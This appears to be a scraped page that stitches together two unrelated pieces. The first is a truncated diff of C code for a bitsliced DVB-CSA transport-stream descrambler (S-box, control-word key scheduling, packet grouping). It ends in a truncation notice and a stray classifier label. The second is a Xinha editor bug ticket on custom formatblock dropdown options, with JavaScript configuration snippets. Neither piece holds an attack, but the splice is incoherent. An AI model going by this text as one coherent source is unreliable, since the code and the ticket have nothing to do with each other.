//dump_mem("NE1 r[roff]",&r[roff],GROUP_PARALLELISM*8,GROUP_PARALLELISM);
293
// now 01230123
294
#define INTS_PER_ROW (GROUP_PARALLELISM/8*2)
295
for(j=0;j<8;j+=4){
296
for(i=0;i<2;i++){
297
for(k=0;k<INTS_PER_ROW;k++){
298
unsigned int t,b;
299
t=ri[INTS_PER_ROW*(j+i)+k];
300
b=ri[INTS_PER_ROW*(j+i+2)+k];
301
ri[INTS_PER_ROW*(j+i)+k]= (t&0x0000ffff) | ((b )<<16);
302
ri[INTS_PER_ROW*(j+i+2)+k]= ((t )>>16) | (b&0xffff0000) ;
303
}
304
}
305
}
306
//dump_mem("NE2 r[roff]",&r[roff],GROUP_PARALLELISM*8,GROUP_PARALLELISM);
307
// now 01010101
308
for(j=0;j<8;j+=2){
309
for(i=0;i<1;i++){
310
for(k=0;k<INTS_PER_ROW;k++){
311
unsigned int t,b;
312
t=ri[INTS_PER_ROW*(j+i)+k];
313
b=ri[INTS_PER_ROW*(j+i+1)+k];
314
ri[INTS_PER_ROW*(j+i)+k]= (t&0x00ff00ff) | ((b&0x00ff00ff)<<8);
315
ri[INTS_PER_ROW*(j+i+1)+k]= ((t&0xff00ff00)>>8) | (b&0xff00ff00);
316
}
317
}
318
}
319
//dump_mem("NE3 r[roff]",&r[roff],GROUP_PARALLELISM*8,GROUP_PARALLELISM);
320
// now 00000000
321
}
322
323
static inline __attribute__((always_inline)) void trasp_8_N (unsigned char *in,unsigned char* out,int count){
324
int *ri=(int *)in;
325
int *bdi=(int *)out;
326
int j,i,k,g;
327
#define INTS_PER_ROW (GROUP_PARALLELISM/8*2)
328
//dump_mem("NE1 r[roff]",&r[roff],GROUP_PARALLELISM*8,GROUP_PARALLELISM);
329
// now 00000000
330
for(j=0;j<8;j+=2){
331
for(i=0;i<1;i++){
332
for(k=0;k<INTS_PER_ROW;k++){
333
unsigned int t,b;
334
t=ri[INTS_PER_ROW*(j+i)+k];
335
b=ri[INTS_PER_ROW*(j+i+1)+k];
336
ri[INTS_PER_ROW*(j+i)+k]= (t&0x00ff00ff) | ((b&0x00ff00ff)<<8);
337
ri[INTS_PER_ROW*(j+i+1)+k]= ((t&0xff00ff00)>>8) | (b&0xff00ff00);
338
}
339
}
340
}
341
//dump_mem("NE2 r[roff]",&r[roff],GROUP_PARALLELISM*8,GROUP_PARALLELISM);
342
// now 01010101
343
for(j=0;j<8;j+=4){
344
for(i=0;i<2;i++){
345
for(k=0;k<INTS_PER_ROW;k++){
346
unsigned int t,b;
347
t=ri[INTS_PER_ROW*(j+i)+k];
348
b=ri[INTS_PER_ROW*(j+i+2)+k];
349
ri[INTS_PER_ROW*(j+i)+k]= (t&0x0000ffff) | ((b )<<16);
350
ri[INTS_PER_ROW*(j+i+2)+k]= ((t )>>16) | (b&0xffff0000) ;
351
}
352
}
353
}
354
//dump_mem("NE3 r[roff]",&r[roff],GROUP_PARALLELISM*8,GROUP_PARALLELISM);
355
// now 01230123
356
for(g=0;g<count;g++){
357
bdi[2*g]=ri[g];
358
bdi[2*g+1]=ri[GROUP_PARALLELISM+g];
359
}
360
}
361
362
//-----block main function
363
364
// block group
365
static void block_decypher_group(
366
batch *kkmulti, // [In] kkmulti[0]-kkmulti[55] 56 batches | Key schedule (each batch has repeated equal bytes).
367
unsigned char *ib, // [In] (ib0,ib1,...ib7)...x32 32*8 bytes | Initialization vector.
368
unsigned char *bd, // [Out] (bd0,bd1,...bd7)...x32 32*8 bytes | Block decipher.
369
int count)
370
{
371
// int is faster than unsigned char. apparently not
372
static const unsigned char block_sbox[0x100] = {
373
0x3A,0xEA,0x68,0xFE,0x33,0xE9,0x88,0x1A, 0x83,0xCF,0xE1,0x7F,0xBA,0xE2,0x38,0x12,
374
0xE8,0x27,0x61,0x95,0x0C,0x36,0xE5,0x70, 0xA2,0x06,0x82,0x7C,0x17,0xA3,0x26,0x49,
375
0xBE,0x7A,0x6D,0x47,0xC1,0x51,0x8F,0xF3, 0xCC,0x5B,0x67,0xBD,0xCD,0x18,0x08,0xC9,
376
0xFF,0x69,0xEF,0x03,0x4E,0x48,0x4A,0x84, 0x3F,0xB4,0x10,0x04,0xDC,0xF5,0x5C,0xC6,
377
0x16,0xAB,0xAC,0x4C,0xF1,0x6A,0x2F,0x3C, 0x3B,0xD4,0xD5,0x94,0xD0,0xC4,0x63,0x62,
378
0x71,0xA1,0xF9,0x4F,0x2E,0xAA,0xC5,0x56, 0xE3,0x39,0x93,0xCE,0x65,0x64,0xE4,0x58,
379
0x6C,0x19,0x42,0x79,0xDD,0xEE,0x96,0xF6, 0x8A,0xEC,0x1E,0x85,0x53,0x45,0xDE,0xBB,
380
0x7E,0x0A,0x9A,0x13,0x2A,0x9D,0xC2,0x5E, 0x5A,0x1F,0x32,0x35,0x9C,0xA8,0x73,0x30,
381
382
0x29,0x3D,0xE7,0x92,0x87,0x1B,0x2B,0x4B, 0xA5,0x57,0x97,0x40,0x15,0xE6,0xBC,0x0E,
383
0xEB,0xC3,0x34,0x2D,0xB8,0x44,0x25,0xA4, 0x1C,0xC7,0x23,0xED,0x90,0x6E,0x50,0x00,
384
0x99,0x9E,0x4D,0xD9,0xDA,0x8D,0x6F,0x5F, 0x3E,0xD7,0x21,0x74,0x86,0xDF,0x6B,0x05,
385
0x8E,0x5D,0x37,0x11,0xD2,0x28,0x75,0xD6, 0xA7,0x77,0x24,0xBF,0xF0,0xB0,0x02,0xB7,
386
0xF8,0xFC,0x81,0x09,0xB1,0x01,0x76,0x91, 0x7D,0x0F,0xC8,0xA0,0xF2,0xCB,0x78,0x60,
387
0xD1,0xF7,0xE0,0xB5,0x98,0x22,0xB3,0x20, 0x1D,0xA6,0xDB,0x7B,0x59,0x9F,0xAE,0x31,
388
0xFB,0xD3,0xB6,0xCA,0x43,0x72,0x07,0xF4, 0xD8,0x41,0x14,0x55,0x0D,0x54,0x8B,0xB9,
389
0xAD,0x46,0x0B,0xAF,0x80,0x52,0x2C,0xFA, 0x8C,0x89,0x66,0xFD,0xB2,0xA9,0x9B,0xC0,
390
};
391
MEMALIGN unsigned char r[GROUP_PARALLELISM*(8+56)]; /* 56 because we will move back in memory while looping */
392
MEMALIGN unsigned char sbox_in[GROUP_PARALLELISM],sbox_out[GROUP_PARALLELISM],perm_out[GROUP_PARALLELISM];
393
int roff;
394
int i,g,count_all=GROUP_PARALLELISM;
395
396
roff=GROUP_PARALLELISM*56;
397
398
#define FASTTRASP1
399
#ifndef FASTTRASP1
400
for(g=0;g<count;g++){
401
// Init registers
402
int j;
403
for(j=0;j<8;j++){
404
r[roff+GROUP_PARALLELISM*j+g]=ib[8*g+j];
405
}
406
}
407
#else
408
trasp_N_8((unsigned char *)&r[roff],(unsigned char *)ib,count);
409
#endif
410
//dump_mem("OLD r[roff]",&r[roff],GROUP_PARALLELISM*8,GROUP_PARALLELISM);
411
412
// loop over kk[55]..kk[0]
413
for(i=55;i>=0;i--){
414
{
415
MEMALIGN batch tkkmulti=kkmulti[i];
416
batch *si=(batch *)sbox_in;
417
batch *r6_N=(batch *)(r+roff+GROUP_PARALLELISM*6);
418
for(g=0;g<count_all/BYTES_PER_BATCH;g++){
419
si[g]=B_FFXOR(tkkmulti,r6_N[g]); //FIXME: introduce FASTBATCH?
420
}
421
}
422
423
// table lookup, this works on only one byte at a time
424
// most difficult part of all
425
// - can't be parallelized
426
// - can't be synthetized through boolean terms (8 input bits are too many)
427
for(g=0;g<count_all;g++){
428
sbox_out[g]=block_sbox[sbox_in[g]];
429
}
430
431
// bit permutation
432
{
433
unsigned char *po=(unsigned char *)perm_out;
434
unsigned char *so=(unsigned char *)sbox_out;
435
//dump_mem("pre perm ",(unsigned char *)so,GROUP_PARALLELISM,GROUP_PARALLELISM);
436
for(g=0;g<count_all;g+=BYTES_PER_BATCH){
437
MEMALIGN batch in,out;
438
in=*(batch *)&so[g];
439
440
out=B_FFOR(
441
B_FFOR(
442
B_FFOR(
443
B_FFOR(
444
B_FFOR(
445
B_FFSH8L(B_FFAND(in,B_FFN_ALL_29()),1),
446
B_FFSH8L(B_FFAND(in,B_FFN_ALL_02()),6)),
447
B_FFSH8L(B_FFAND(in,B_FFN_ALL_04()),3)),
448
B_FFSH8R(B_FFAND(in,B_FFN_ALL_10()),2)),
449
B_FFSH8R(B_FFAND(in,B_FFN_ALL_40()),6)),
450
B_FFSH8R(B_FFAND(in,B_FFN_ALL_80()),4));
451
452
*(batch *)&po[g]=out;
453
}
454
//dump_mem("post perm",(unsigned char *)po,GROUP_PARALLELISM,GROUP_PARALLELISM);
455
}
456
457
roff-=GROUP_PARALLELISM; /* virtual shift of registers */
458
459
#if 0
460
/* one by one */
461
for(g=0;g<count_all;g++){
462
r[roff+GROUP_PARALLELISM*0+g]=r[roff+GROUP_PARALLELISM*8+g]^sbox_out[g];
463
r[roff+GROUP_PARALLELISM*6+g]^=perm_out[g];
464
r[roff+GROUP_PARALLELISM*4+g]^=r[roff+GROUP_PARALLELISM*0+g];
465
r[roff+GROUP_PARALLELISM*3+g]^=r[roff+GROUP_PARALLELISM*0+g];
466
r[roff+GROUP_PARALLELISM*2+g]^=r[roff+GROUP_PARALLELISM*0+g];
467
}
468
#else
469
for(g=0;g<count_all;g+=BEST_SPAN){
470
XOR_BEST_BY(&r[roff+GROUP_PARALLELISM*0+g],&r[roff+GROUP_PARALLELISM*8+g],&sbox_out[g]);
471
XOREQ_BEST_BY(&r[roff+GROUP_PARALLELISM*6+g],&perm_out[g]);
472
XOREQ_BEST_BY(&r[roff+GROUP_PARALLELISM*4+g],&r[roff+GROUP_PARALLELISM*0+g]);
473
XOREQ_BEST_BY(&r[roff+GROUP_PARALLELISM*3+g],&r[roff+GROUP_PARALLELISM*0+g]);
474
XOREQ_BEST_BY(&r[roff+GROUP_PARALLELISM*2+g],&r[roff+GROUP_PARALLELISM*0+g]);
475
}
476
#endif
477
}
478
479
#define FASTTRASP2
480
#ifndef FASTTRASP2
481
for(g=0;g<count;g++){
482
// Copy results
483
int j;
484
for(j=0;j<8;j++){
485
bd[8*g+j]=r[roff+GROUP_PARALLELISM*j+g];
486
}
487
}
488
#else
489
trasp_8_N((unsigned char *)&r[roff],(unsigned char *)bd,count);
490
#endif
491
}
492
493
//-----------------------------------EXTERNAL INTERFACE
494
495
//-----get internal parallelism
496
497
int get_internal_parallelism(void){
498
return GROUP_PARALLELISM;
499
}
500
501
//-----get suggested cluster size
502
503
int get_suggested_cluster_size(void){
504
int r;
505
r=GROUP_PARALLELISM+GROUP_PARALLELISM/10;
506
if(r<GROUP_PARALLELISM+5) r=GROUP_PARALLELISM+5;
507
return r;
508
}
509
510
//-----key structure
511
512
void *get_key_struct(void){
513
struct csa_keys_t *keys=(struct csa_keys_t *)MALLOC(sizeof(struct csa_keys_t));
514
if(keys) {
515
static const unsigned char pk[8] = { 0,0,0,0,0,0,0,0 };
516
set_control_words(keys,pk,pk);
517
}
518
return keys;
519
}
520
521
void free_key_struct(void *keys){
522
return FREE(keys);
523
}
524
525
//-----set control words
526
527
static void schedule_key(struct csa_key_t *key, const unsigned char *pk){
528
// could be made faster, but is not run often
529
int bi,by;
530
int i,j;
531
// key
532
memcpy(key->ck,pk,8);
533
// precalculations for stream
534
key_schedule_stream(key->ck,key->iA,key->iB);
535
for(by=0;by<8;by++){
536
for(bi=0;bi<8;bi++){
537
key->ck_g[by][bi]=(key->ck[by]&(1<<bi))?FF1():FF0();
538
}
539
}
540
for(by=0;by<8;by++){
541
for(bi=0;bi<4;bi++){
542
key->iA_g[by][bi]=(key->iA[by]&(1<<bi))?FF1():FF0();
543
key->iB_g[by][bi]=(key->iB[by]&(1<<bi))?FF1():FF0();
544
}
545
}
546
// precalculations for block
547
key_schedule_block(key->ck,key->kk);
548
for(i=0;i<56;i++){
549
for(j=0;j<BYTES_PER_BATCH;j++){
550
*(((unsigned char *)&key->kkmulti[i])+j)=key->kk[i];
551
}
552
}
553
}
554
555
void set_control_words(void *keys, const unsigned char *ev, const unsigned char *od){
556
schedule_key(&((struct csa_keys_t *)keys)->even,ev);
557
schedule_key(&((struct csa_keys_t *)keys)->odd,od);
558
}
559
560
void set_even_control_word(void *keys, const unsigned char *pk){
561
schedule_key(&((struct csa_keys_t *)keys)->even,pk);
562
}
563
564
void set_odd_control_word(void *keys, const unsigned char *pk){
565
schedule_key(&((struct csa_keys_t *)keys)->odd,pk);
566
}
567
568
//-----get control words
569
570
void get_control_words(void *keys, unsigned char *even, unsigned char *odd){
571
memcpy(even,&((struct csa_keys_t *)keys)->even.ck,8);
572
memcpy(odd,&((struct csa_keys_t *)keys)->odd.ck,8);
573
}
574
575
//----- decrypt
576
577
int decrypt_packets(void *keys, unsigned char **cluster){
578
// statistics, currently unused
579
int stat_no_scramble=0;
580
int stat_reserved=0;
581
int stat_decrypted[2]={0,0};
582
int stat_decrypted_mini=0;
583
unsigned char **clst;
584
unsigned char **clst2;
585
int grouped;
586
int group_ev_od;
587
int advanced;
588
int can_advance;
589
unsigned char *g_pkt[GROUP_PARALLELISM];
590
int g_len[GROUP_PARALLELISM];
591
int g_offset[GROUP_PARALLELISM];
592
int g_n[GROUP_PARALLELISM];
593
int g_residue[GROUP_PARALLELISM];
594
unsigned char *pkt;
595
int xc0,ev_od,len,offset,n,residue;
596
struct csa_key_t* k;
597
int i,j,iter,g;
598
int t23,tsmall;
599
int alive[24];
600
//icc craziness int pad1=0; //////////align! FIXME
601
unsigned char *encp[GROUP_PARALLELISM];
602
MEMALIGN unsigned char stream_in[GROUP_PARALLELISM*8];
603
MEMALIGN unsigned char stream_out[GROUP_PARALLELISM*8];
604
MEMALIGN unsigned char ib[GROUP_PARALLELISM*8];
605
MEMALIGN unsigned char block_out[GROUP_PARALLELISM*8];
606
#ifdef COPY_UNALIGNED_PKT
607
unsigned char *unaligned[GROUP_PARALLELISM];
608
MEMALIGN unsigned char alignedBuff[GROUP_PARALLELISM][188];
609
#endif
610
struct stream_regs regs;
611
612
//icc craziness i=(int)&pad1;//////////align!!! FIXME
613
614
// build a list of packets to be processed
615
clst=cluster;
616
grouped=0;
617
advanced=0;
618
can_advance=1;
619
group_ev_od=-1; // silence incorrect compiler warning
620
pkt=*clst;
621
do{ // find a new packet
622
if(grouped==GROUP_PARALLELISM){
623
// full
624
break;
625
}
626
if(pkt==NULL){
627
// no more ranges
628
break;
629
}
630
if(pkt>=*(clst+1)){
631
// out of this range, try next
632
clst++;clst++;
633
pkt=*clst;
634
continue;
635
}
636
637
do{ // handle this packet
638
xc0=pkt[3]&0xc0;
639
DBG(fprintf(stderr," exam pkt=%p, xc0=%02x, can_adv=%i\n",pkt,xc0,can_advance));
640
if(xc0==0x00){
641
DBG(fprintf(stderr,"skip clear pkt %p (can_advance is %i)\n",pkt,can_advance));
642
advanced+=can_advance;
643
stat_no_scramble++;
644
break;
645
}
646
if(xc0==0x40){
647
DBG(fprintf(stderr,"skip reserved pkt %p (can_advance is %i)\n",pkt,can_advance));
648
advanced+=can_advance;
649
stat_reserved++;
650
break;
651
}
652
if(xc0==0x80||xc0==0xc0){ // encrypted
653
ev_od=(xc0&0x40)>>6; // 0 even, 1 odd
654
if(grouped==0) group_ev_od=ev_od; // this group will be all even (or odd)
655
if(group_ev_od==ev_od){ // could be added to group
656
pkt[3]&=0x3f; // consider it decrypted now
657
if(pkt[3]&0x20){ // incomplete packet
658
offset=4+pkt[4]+1;
659
len=188-offset;
660
n=len>>3;
661
residue=len-(n<<3);
662
if(n==0){ // decrypted==encrypted!
663
DBG(fprintf(stderr,"DECRYPTED MINI! (can_advance is %i)\n",can_advance));
664
advanced+=can_advance;
665
stat_decrypted_mini++;
666
break; // this doesn't need more processing
667
}
668
}else{
669
len=184;
670
offset=4;
671
n=23;
672
residue=0;
673
}
674
g_pkt[grouped]=pkt;
675
g_len[grouped]=len;
676
g_offset[grouped]=offset;
677
g_n[grouped]=n;
678
g_residue[grouped]=residue;
679
DBG(fprintf(stderr,"%2i: eo=%i pkt=%p len=%03i n=%2i residue=%i\n",grouped,ev_od,pkt,len,n,residue));
680
grouped++;
681
advanced+=can_advance;
682
stat_decrypted[ev_od]++;
683
}
684
else{
685
can_advance=0;
686
DBG(fprintf(stderr,"skip pkt %p and can_advance set to 0\n",pkt));
687
break; // skip and go on
688
}
689
}
690
} while(0);
691
692
if(can_advance){
693
// move range start forward
694
*clst+=188;
695
}
696
// next packet, if there is one
697
pkt+=188;
698
} while(1);
699
DBG(fprintf(stderr,"-- result: grouped %i pkts, advanced %i pkts\n",grouped,advanced));
700
701
// delete empty ranges and compact list
702
clst2=cluster;
703
for(clst=cluster;*clst!=NULL;clst+=2){
704
// if not empty
705
if(*clst<*(clst+1)){
706
// it will remain
707
*clst2=*clst;
708
*(clst2+1)=*(clst+1);
709
clst2+=2;
710
}
711
}
712
*clst2=NULL;
713
714
if(grouped==0){
715
// no processing needed
716
return advanced;
717
}
718
719
// sort them, longest payload first
720
// we expect many n=23 packets and a few n<23
721
DBG(fprintf(stderr,"PRESORTING\n"));
722
for(i=0;i<grouped;i++){
723
DBG(fprintf(stderr,"%2i of %2i: pkt=%p len=%03i n=%2i residue=%i\n",i,grouped,g_pkt[i],g_len[i],g_n[i],g_residue[i]));
724
}
725
// grouped is always <= GROUP_PARALLELISM
726
727
#define g_swap(a,b) \
728
pkt=g_pkt[a]; \
729
g_pkt[a]=g_pkt[b]; \
730
g_pkt[b]=pkt; \
731
\
732
len=g_len[a]; \
733
g_len[a]=g_len[b]; \
734
g_len[b]=len; \
735
\
736
offset=g_offset[a]; \
737
g_offset[a]=g_offset[b]; \
738
g_offset[b]=offset; \
739
\
740
n=g_n[a]; \
741
g_n[a]=g_n[b]; \
742
g_n[b]=n; \
743
\
744
residue=g_residue[a]; \
745
g_residue[a]=g_residue[b]; \
746
g_residue[b]=residue;
747
748
// step 1: move n=23 packets before small packets
749
t23=0;
750
tsmall=grouped-1;
751
for(;;){
752
for(;t23<grouped;t23++){
753
if(g_n[t23]!=23) break;
754
}
755
DBG(fprintf(stderr,"t23 after for =%i\n",t23));
756
757
for(;tsmall>=0;tsmall--){
758
if(g_n[tsmall]==23) break;
759
}
760
DBG(fprintf(stderr,"tsmall after for =%i\n",tsmall));
761
762
if(tsmall-t23<1) break;
763
764
DBG(fprintf(stderr,"swap t23=%i,tsmall=%i\n",t23,tsmall));
765
766
g_swap(t23,tsmall);
767
768
t23++;
769
tsmall--;
770
DBG(fprintf(stderr,"new t23=%i,tsmall=%i\n\n",t23,tsmall));
771
}
772
DBG(fprintf(stderr,"packets with n=23, t23=%i grouped=%i\n",t23,grouped));
773
DBG(fprintf(stderr,"MIDSORTING\n"));
774
for(i=0;i<grouped;i++){
775
DBG(fprintf(stderr,"%2i of %2i: pkt=%p len=%03i n=%2i residue=%i\n",i,grouped,g_pkt[i],g_len[i],g_n[i],g_residue[i]));
776
}
777
778
// step 2: sort small packets in decreasing order of n (bubble sort is enough)
779
for(i=t23;i<grouped;i++){
780
for(j=i+1;j<grouped;j++){
781
if(g_n[j]>g_n[i]){
782
g_swap(i,j);
783
}
784
}
785
}
786
DBG(fprintf(stderr,"POSTSORTING\n"));
787
for(i=0;i<grouped;i++){
788
DBG(fprintf(stderr,"%2i of %2i: pkt=%p len=%03i n=%2i residue=%i\n",i,grouped,g_pkt[i],g_len[i],g_n[i],g_residue[i]));
789
}
790
791
// we need to know how many packets need 23 iterations, how many 22...
792
for(i=0;i<=23;i++){
793
alive[i]=0;
794
}
795
// count
796
alive[23-1]=t23;
797
for(i=t23;i<grouped;i++){
798
alive[g_n[i]-1]++;
799
}
800
// integrate
801
for(i=22;i>=0;i--){
802
alive[i]+=alive[i+1];
803
}
804
DBG(fprintf(stderr,"ALIVE\n"));
805
for(i=0;i<=23;i++){
806
DBG(fprintf(stderr,"alive%2i=%i\n",i,alive[i]));
807
}
808
809
// choose key
810
if(group_ev_od==0){
811
k=&((struct csa_keys_t *)keys)->even;
812
}
813
else{
814
k=&((struct csa_keys_t *)keys)->odd;
815
}
816
817
//INIT
818
//#define INITIALIZE_UNUSED_INPUT
819
#ifdef INITIALIZE_UNUSED_INPUT
820
// unnecessary zeroing.
821
// without this, we operate on uninitialized memory
822
// when grouped<GROUP_PARALLELISM, but it's not a problem,
823
// as final results will be discarded.
824
// random data makes debugging sessions difficult.
825
for(j=0;j<GROUP_PARALLELISM*8;j++) stream_in[j]=0;
826
DBG(fprintf(stderr,"--- WARNING: you could gain speed by not initializing unused memory ---\n"));
827
#else
828
DBG(fprintf(stderr,"--- WARNING: DEBUGGING IS MORE DIFFICULT WHEN PROCESSING RANDOM DATA CHANGING AT EVERY RUN! ---\n"));
829
#endif
830
831
for(g=0;g<grouped;g++){
832
encp[g]=g_pkt[g];
833
DBG(fprintf(stderr,"header[%i]=%p (%02x)\n",g,encp[g],*(encp[g])));
834
encp[g]+=g_offset[g]; // skip header
835
#ifdef COPY_UNALIGNED_PKT
836
if(((int)encp[g])&0x03) {
837
memcpy(alignedBuff[g],encp[g],g_len[g]);
838
unaligned[g]=encp[g];
... This diff was truncated because it exceeds the maximum size that can be displayed. | __label__pos | 0.630313 |
Opened 8 years ago
Closed 8 years ago
#1541 closed defect (fixed)
Allow more flexible configuration for formatblock options
Reported by: ejucovy Owned by: gogo
Priority: normal Milestone: 0.97
Component: Xinha Core Version: trunk
Severity: normal Keywords:
Cc:
Description
On my site we added a formatblock option "Pullquote." This wraps the selection in a <div class="pullquote">, and we have CSS that floats it to the right.
We had to modify XinhaCore.js internals to support this option to formatblock, for the following reasons:
1. Since we're applying HTML that isn't just a tag name, we can't use a simple string to represent it in the formatblock config. Instead we had to provide a callback function to do the modification.
2. Since other formatblock styles like heading, subheading, etc can be applied to elements within a pullquote, we had to use custom logic for detecting whether the current context is within a pullquote or not.
3. We also had to use custom logic to deal with users selecting the "normal" option when the current context is within a pullquote, since that should remove the pullquote.
The attached patch is what we came up with. Currently the formatblock config's values are strings (HTML tag names) always. With the patch they can instead be objects with three items:
• tag: string, HTML tag name to be applied
• detect: callback function(xinha, el), with boolean return value, called to determine if the current cursor context is within this formatblock option
• invoke: callback function(xinha), which is executed (instead of execCommand) when the formatblock option is selected
I don't love this patch .. it seems poorly encapsulated, and I don't like putting so much code in the config.js -- I'd rather register it in a plugin somehow. But I'm not sure how to take a better approach.
The attached patch also contains the snippet from our xinhaconfig.js, to demonstrate the use.
Attachments (2)
formatblock.diff (3.0 KB) - added by guest 8 years ago.
formatblock.2.diff (3.1 KB) - added by ejucovy 8 years ago.
a much simpler patch that lets me accomplish the same thing more elegantly
Download all attachments as: .zip
Change History (9)
Changed 8 years ago by guest
comment:1 Changed 8 years ago by guest
Actually, instead of cluttering the patch with the example usage, I'll just put it here -- this is our xinha_config.formatblock setting, with the "sidebar" option that requires the submitted patch. (Note that the patch is fully backwards-compatible.)
xinha_config.formatblock = {
'Normal' : {tag: 'p',
invoker: function (xinha) {
var blockquote = null
var firstparent = xinha.getParentElement();
if (firstparent.tagName != 'H2' && firstparent.tagName != 'H3' && firstparent.tagName != 'PRE') {
blockquote = firstparent;
while (blockquote !== null && blockquote.className.trim() != 'pullquote')
{
blockquote = blockquote.parentNode;
}
}
if (blockquote)
{
var blockParent = blockquote.parentNode;
var firstChild = null;
while (blockquote.childNodes.length) {
if (firstChild === null)
{
firstChild = blockquote.childNodes[0];
}
blockParent.insertBefore(blockquote.childNodes[0], blockquote);
}
blockParent.removeChild(blockquote);
if (firstChild !== null)
{
// FIXME: this selects the entire first node, instead of just placing the
// cursor at the beginning (or at the previous location where the cursor was).
// Without this, the cursor hangs off to the side of the screen, where the
// blockquote once had been.
xinha.selectNodeContents(firstChild);
}
}
else
{
if( !Xinha.is_gecko)
{
xinha.execCommand('formatblock', false, '<p>');
}
else
{
xinha.execCommand('formatblock', false, 'p');
}
}
},
// always return false, to give others a chance to override
// if nobody else thinks they should be selected, then it will default
// to normal because it comes first
detect: function(xinha, el) { return false; }
},
'Heading' : 'h2',
'Subheading' : 'h3',
'Pre-formatted' : 'pre',
'Sidebar' : {tag: 'div',
invoker: function (xinha) {
var el = xinha.getParentElement();
if (el.tagName.toUpperCase() == 'BODY')
{
//put div around selection
if (xinha.hasSelectedText()){
selhtml = xinha.getSelectedHTML();
newhtml = '<div class="pullquote">' + selhtml + '</div>';
xinha.insertHTML(newhtml);
}
}
else
{
//put div around current block
while (el !== null & !Xinha.isBlockElement(el)){
el = el.parentNode;
}
if (el) {
el_parent = el.parentNode;
div = xinha._doc.createElement('div');
div.className = "pullquote";
el_parent.replaceChild(div, el);
div.appendChild(el);
}
}
xinha.updateToolbar()
},
detect: function (xinha, el) {
while (el !== null) {
if (el.nodeType == 1 && el.tagName.toUpperCase() == 'DIV') {
return /\bpullquote\b/.test(el.className);
}
el = el.parentNode;
}
return false;
}
}
};
Changed 8 years ago by ejucovy
a much simpler patch that lets me accomplish the same thing more elegantly
comment:2 Changed 8 years ago by ejucovy
• Cc ejucovy@… removed
• Milestone set to 0.97
• Reporter changed from guest to ejucovy
Oof. I've attached a better patch that accomplishes the same thing with much fewer (and completely localized!) core changes, and a much simpler configuration framework.
The two big realizations that allowed me to simplify were:
1. For the actual work of performing a custom/complex formatblock command, we can call out to a plugin's onExecCommand("formatblock", false, "<mycustomcommand>") event hook. The plugin's onExecCommand method just needs to listen for cmdID=="formatblock" plus whatever custom commands it wants to handle, and return true after handling them (to prevent core from trying to handle the command).
2. The core code for figuring out which formatblock pulldown option to mark as selected, is duplicating logic: first it calls editor._getFirstAncestor(el, array_of_tag_names_or_detection_functions) and then, if any of the elements from that array match, it iterates through that same array to figure out which item in it was the match. If we just modify the signature of editor._getFirstAncestor to return both the ancestor and the index of the matching item, this code can look a lot simpler.
comment:3 Changed 8 years ago by ejucovy
And, with this new patch, here's my snippet of configuration (equivalent to the one posted above in comment:1, but much cleaner I think)
var execNoSidebar = function (xinha) {
var blockquote = null
var firstparent = xinha.getParentElement();
if (firstparent.tagName != 'H2' &&
firstparent.tagName != 'H3' && firstparent.tagName != 'PRE') {
blockquote = firstparent;
while (blockquote !== null && blockquote.className.trim() != 'pullquote') {
blockquote = blockquote.parentNode;
}
}
if (blockquote) {
var blockParent = blockquote.parentNode;
var firstChild = null;
while (blockquote.childNodes.length) {
if (firstChild === null) {
firstChild = blockquote.childNodes[0];
}
blockParent.insertBefore(blockquote.childNodes[0], blockquote);
}
blockParent.removeChild(blockquote);
if (firstChild !== null) {
// FIXME: this selects the entire first node, instead of just placing the
// cursor at the beginning (or at the previous location where the cursor was).
// Without this, the cursor hangs off to the side of the screen, where the
// blockquote once had been.
xinha.selectNodeContents(firstChild);
}
} else {
if( !Xinha.is_gecko) {
xinha.execCommand('formatblock', false, '<p>');
} else {
xinha.execCommand('formatblock', false, 'p');
}
}
};
var execSidebar = function( xinha ) {
var el = xinha.getParentElement();
if (el.tagName.toUpperCase() == 'BODY') {
//put div around selection
if (xinha.hasSelectedText()){
selhtml = xinha.getSelectedHTML();
newhtml = '<div class="pullquote">' + selhtml + '</div>';
xinha.insertHTML(newhtml);
}
} else {
//put div around current block
while (el !== null & !Xinha.isBlockElement(el)) {
el = el.parentNode;
}
if (el) {
el_parent = el.parentNode;
div = xinha._doc.createElement('div');
div.className = "pullquote";
el_parent.replaceChild(div, el);
div.appendChild(el);
}
}
xinha.updateToolbar()
};
xinha_config.formatblock = {
'Normal': 'nosidebar',
'Heading': 'h2',
'Subheading': 'h3',
'Pre-formatted': 'pre',
'Sidebar': 'sidebar'
};
xinha_config.Events.onExecCommand = function(cmdID, UI, param) {
if( cmdID != 'formatblock' ) {
return false;
}
if( param != '<nosidebar>' && param != '<sidebar>' ) {
return false;
}
if( param == '<nosidebar>' ) {
execNoSidebar(this);
return true;
}
if( param == '<sidebar>' ) {
execSidebar(this);
return true;
}
};
xinha_config.formatblockDetector['nosidebar'] = function() {
return false;
};
xinha_config.formatblockDetector['sidebar'] = function(xinha, el) {
console.log("fleem");
while (el !== null) {
if (el.nodeType == 1 && el.tagName.toUpperCase() == 'DIV') {
console.log(el);
return /\bpullquote\b/.test(el.className);
}
el = el.parentNode;
}
return false;
};
comment:4 Changed 8 years ago by ejucovy
The patch still needs some cleanup and better self-documentation, but I think this is a reasonable approach now. Certainly it's on the right track, closer than the original patch. But, I should see what I think of it after I've gotten some sleep..
comment:5 Changed 8 years ago by ejucovy
To help summarize the changes here and what they'd accomplish, I wrote a tutorial-style article, on how to configure the formatblock dropdown with custom options:
http://www.coactivate.org/projects/xinha/custom-formatblock-options
I'm happy with this approach now -- it uses existing infrastructure where possible, and the new configuration option that it adds is unobtrusive and pretty self-explanatory.
There are a lot of moving parts for a user to keep track of if he wants to do this customization (as the article shows!) but I think it has a good separation of concerns, and when it's done the whole thing can be packaged up nicely in a plugin.
Of course most users won't ever want to do this. But it works well for those who do.
I can also imagine (pretty easily) another layer being built in the future which simplifies some of this and packages it together more closely, to make it a little easier for a user to accomplish. There's no need to build that now, but it could even be built as a plugin to experiment first.
comment:6 Changed 8 years ago by ejucovy
In r1289, I committed the first part of my patch. This doesn't add any functionality or new configuration options. It just refactors editor._getFirstAncestor by moving that method's logic into a new function, editor._getFirstAncestorAndWhy.
The new function returns a 2-item array: the second item is an integer index, which, combined with the "types" argument that was passed in to the function, can be used to identify what tag-or-callback the returned "first ancestor" matched. _getFirstAncestor still has the same interface as before -- it just calls _getFirstAncestorAndWhy, throws away the second element from the resulting array, and returns the first.
This simplifies, and slightly optimizes, the formatblock logic in updateToolbar -- which previously repeated the whole "matching" logic that had just been done in _getFirstAncestor.
comment:7 Changed 8 years ago by ejucovy
• Resolution set to fixed
• Status changed from new to closed
